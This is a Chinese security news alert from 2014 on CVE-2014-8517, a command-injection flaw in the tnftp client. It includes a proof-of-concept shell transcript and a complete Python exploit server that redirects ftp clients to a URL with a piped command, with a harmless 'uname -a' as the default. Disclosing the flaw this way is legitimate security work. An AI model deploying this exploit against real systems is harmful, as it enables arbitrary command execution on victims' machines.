前端

漏洞预警:FTP曝严重远程执行漏洞 影响多个版本Unix

发表于2014-10-30 14:46| 2082次阅读| 来源FreebuF.COM| 15 条评论| 作者嘎巴嘎巴
摘要:从心脏流血到Bash漏洞,互联网安全建设变的越来越重要。近日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到了多个Unix系统。

【编者按】回顾过去的10个月,从心脏流血到Bash漏洞,每一次漏洞的的出现都会掀起互联网安全建设的讨论热潮,虽然大家都在关注软件安全,可是各种漏洞仍然横行在各个角落。近日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到了多个Unix系统。


10月28日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到的Unix系统包括:Fedora、Debian、NetBSD、FreeBSD、OpenBSD甚至影响到了苹果的OS X操作系统的最新版本Yosemite 10.10。 NetBSD的一位开发人员(Jared McNeill)证实了这个漏洞可以通过tnftp从WEB服务器远程执行恶意命令,并且此漏洞已被编号为CVE-2014-8517?:

 a20$ pwd
     /var/www/cgi-bin
     a20$ ls -l
     total 4
     -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
     -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a
     a20$ cat redirect
     #!/bin/sh
     echo 'Status: 302 Found'
     echo 'Content-Type: text/html'
     echo 'Connection: keep-alive'
     echo 'Location: <a href="http://192.168.2.19/cgi-bin/|uname%20-a'">http://192.168.2.19/cgi-bin/|uname%20-a'</a>
     echo
     a20$
   a20$ ftp <a href="http://localhost/cgi-bin/redirect">http://localhost/cgi-bin/redirect</a>
   Trying ::1:80 ...
   ftp: Can't connect to `::1:80': Connection refused
   Trying 127.0.0.1:80 ...
   Requesting <a href="http://localhost/cgi-bin/redirect">http://localhost/cgi-bin/redirect</a>
   Redirected to <a href="http://192.168.2.19/cgi-bin/|uname%20-a">http://192.168.2.19/cgi-bin/|uname%20-a</a>
   Requesting <a href="http://192.168.2.19/cgi-bin/|uname%20-a">http://192.168.2.19/cgi-bin/|uname%20-a</a>
       32      101.46 KiB/s
   32 bytes retrieved in 00:00 (78.51 KiB/s)
   NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
   ADT 2014
   Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
   BOARD evbarm
   a20$

漏洞影响范围及公告 Debian, Red Hat, Gentoo, Novell (SuSE Linux), DragonFly, FreeBSD, OpenBSD, and Apple等系统开发商已经意识到了此漏洞的危害,其中Debian, Red Hat, Gnetoo and Novell已经发出了漏洞公告: 漏洞检测脚本(请勿用于非法用途)

  1. #!/usr/bin/env?python
  2.  
  3. """
  4. Sample?OSX/BSD?FTP?client?exploit.?Written?because?ISO?policies?were?doing
  5. my?head?in.?To?exploit,?edit?the?value?of?the?cmd?variable,?then?run?the
  6. script.?To?test:
  7.  
  8. ????ftp?<a?href="http://<myserver">http://<myserver</a>>/foo
  9.  
  10. And?you?should?see?the?command?executed.
  11.  
  12. All?wrongs?reversed?-?@stevelord
  13. """
  14.  
  15. import?BaseHTTPServer
  16. import?sys
  17. import?socket
  18. import?urllib
  19.  
  20. hostname?=?socket.getfqdn()?#?Set?this?to?your?IP?if?you?have?no?FQDN
  21. n
  22. port?=?8000?#?Set?this?to?the?port?you?want?to?run?this?on
  23. cmd?=?"uname?-a;?echo?You?probably?shouldnt?execute?random?code?from?the?Internet.?Just?saying."
  24.  
  25. cmd?=?urllib.quote(cmd)
  26. redir?=?"http://"?+?hostname?+?":"?+?str(port)?+?"/cgi-bin/|"?+?cmd
  27.  
  28. class?RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  29. ????def?do_GET(s):
  30. ????????if?cmd?in?s.path:
  31. ????????????s.send_response(200)
  32. ????????????s.end_headers()
  33. ????????else:
  34. ????????????s.send_response(302)
  35. ????????????s.send_header("Location",?redir)
  36. ????????????s.end_headers()
  37.  
  38. if?__name__?==?"__main__":
  39. ????print?"redirecting?to,",?redir
  40. ????server_class?=?BaseHTTPServer.HTTPServer
  41. ????httpd?=?server_class((hostname,?port),?RedirectHandler)
  42. ????try:
  43. ????????httpd.serve_forever()
  44. ????????print?"Started?serving."
  45. ????except?KeyboardInterrupt:
  46. ????????pass
  47. ????httpd.server_close()
  48. ????print?"\nStopped?serving."

解决方案和更详细的内容参见: http://seclists.org/oss-sec/2014/q4/459?http://seclists.org/oss-sec/2014/q4/464? http://seclists.org/oss-sec/2014/q4/460